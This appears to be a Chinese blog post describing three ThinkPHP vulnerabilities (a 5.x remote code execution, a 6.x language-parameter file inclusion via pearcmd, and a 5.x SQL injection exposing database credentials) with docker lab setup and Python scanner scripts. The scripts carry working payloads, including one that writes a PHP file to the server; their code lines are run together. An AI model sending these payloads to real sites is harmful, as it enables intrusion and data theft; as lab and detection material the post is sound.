当前位置: 首页 > news >正文

Thinkphp框架相关漏洞扫描器(二)

前言

Thinkphp框架中存在很多漏洞,因此编写漏洞扫描器来检测漏洞很有必要

一、漏洞介绍(5.0.22/5.1.29)

由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

环境搭建

执行如下命令启动ThinkPHP5:

docker compose up -d

环境启动后,访问http://127.0.0.1:8083/即可查看到默认页面。

代码

import requests
from urllib.parse import *def thinkphp_5_rce_scan(url):poc = r'/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=handsome_Mirror'payload = urljoin(url, poc)response = requests.get(payload, verify=False)if '2f0477618daf4574f9e0e50eb84a7f8e' in response.text:print("漏洞存在")else:print("漏洞不存在")host = 'http://127.0.0.1:8083'
thinkphp_5_rce_scan(host)

二、漏洞介绍(多语言本地文件包含漏洞)

6.0.13版本及以前,存在一处本地文件包含漏洞。当多语言特性被开启时,攻击者可以使用lang参数来包含任意PHP文件。

虽然只能包含本地PHP文件,但在开启了register_argc_argv且安装了pcel/pear的环境下,可以包含/usr/local/lib/php/pearcmd.php并写入任意文件

环境搭建

执行如下命令启动ThinkPHP6:

docker compose up -d

环境启动后,访问http://127.0.0.1:8084/即可查看到默认页面。

漏洞复现

首先,ThinkPHP多语言特性不是默认开启的,所以可以尝试包含public/index.php文件来确认文件包含漏洞是否存在:

如果漏洞存在,则服务器会出错,返回500页面。

文件包含漏洞存在的情况下还需要服务器满足下面两个条件才能利用:

PHP环境开启了 register_argc_argv

PHP环境安装了 pcel/pear

这里复现过程输入相同的payload并没有出现500的页面

代码

import requests
from urllib.parse import *def thinkphp_6_upload(url):poc = 'index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php'url_1 = urljoin(url, poc)response_1 = requests.get(url_1, verify=False)url_2 = url_1 + 'shell.php'response_2 = requests.get(url_2, verify=False)if response_2.status_code == 200:print("漏洞存在")else:print("漏洞不存在")host = 'http://127.0.0.1:8084'
thinkphp_6_upload(host)

三、漏洞介绍(SQL注入漏洞 && 敏感信息泄露)

环境搭建

执行如下命令启动ThinkPHP5:

运行环境:

docker compose up -d

启动后,访问http://127.0.0.1:8085/index.php?ids[]=1&ids[]=2`,即可看到用户名被显示了出来,说明环境运行成功。

漏洞复现

访问

http://127.0.0.1:8085/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1,信息成功被爆出。

当然,这是一个比较鸡肋的SQL注入漏洞。但通过DEBUG页面,可以找到数据库的账号、密码。因此这又属于一个敏感信息泄露漏洞。

代码

import requests
from urllib.parse import *def thinkphp_5_sqli(url):poc = '/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1'url = urljoin(url, poc)response = requests.get(url, verify=False)if 'XPATH syntax error' in response.text:print("漏洞存在")else:print("漏洞不存在")host = 'http://127.0.0.1:8085'
thinkphp_5_sqli(host)

到此thinkphp系列漏洞复现完毕

http://www.dtcms.com/a/399836.html

相关文章:

  • K型热电偶高精度原理图设计,已量产(温度传感器)
  • 襄阳市建设厅官方网站wordpress 标签 seo
  • 达梦分布式集群DPC_优化案例01_yxy
  • 怎样建设小游戏网站鸿蒙最新版本
  • wordpress 股票seo如何优化网站推广
  • 微企点做网站怎么样seo推广系统排名榜
  • 淘宝客网站如何做排名wordpress禁止采集
  • 福建工会证考试的发展前景
  • 基于51单片机的温度监测及远程报警系统
  • 咸阳网站建设哪家好中国建筑官网一测二测成绩多少算及格
  • 理解 JVM 的 8 个原子操作与 `volatile` 的语义
  • AI变现攻略
  • ollama和open-webui的使用
  • 手机软件网站怎么让网站收录
  • 建筑企业网站源码wordpress写博客
  • 在Unity中使用SQLite(Sqlite-net-pcl)
  • 杭州做网站公司排名百度网页下载
  • 学习优秀的项目 —— MST++
  • 建设网站需要的ftp资源石家庄房产网
  • 开发避坑指南(55):基于路由守卫的Vue2/Vue3 Tab页查询状态保留方案
  • 如何设计一个版本统一的前端接入层来适配多版本验证码
  • 电子商务网站开发问题研究山西手机网站建设
  • 【Vue3】 - 解析Markdown内容生成侧边栏Toc目录索引
  • wordpress 用法成都优化网站厂家
  • 从零开始循序渐进地学习Conda环境管理
  • 网站服务费怎么做分录四川城乡与建设厅网站
  • uniapp 打包安卓apk。同时安装正式和测试的apk。
  • 中和华丰建设有限责任公司网站c 能用来做网站吗
  • 使用python的加权Jaccard分析流程
  • 网站开发需要掌握哪些技术wordpress登录链接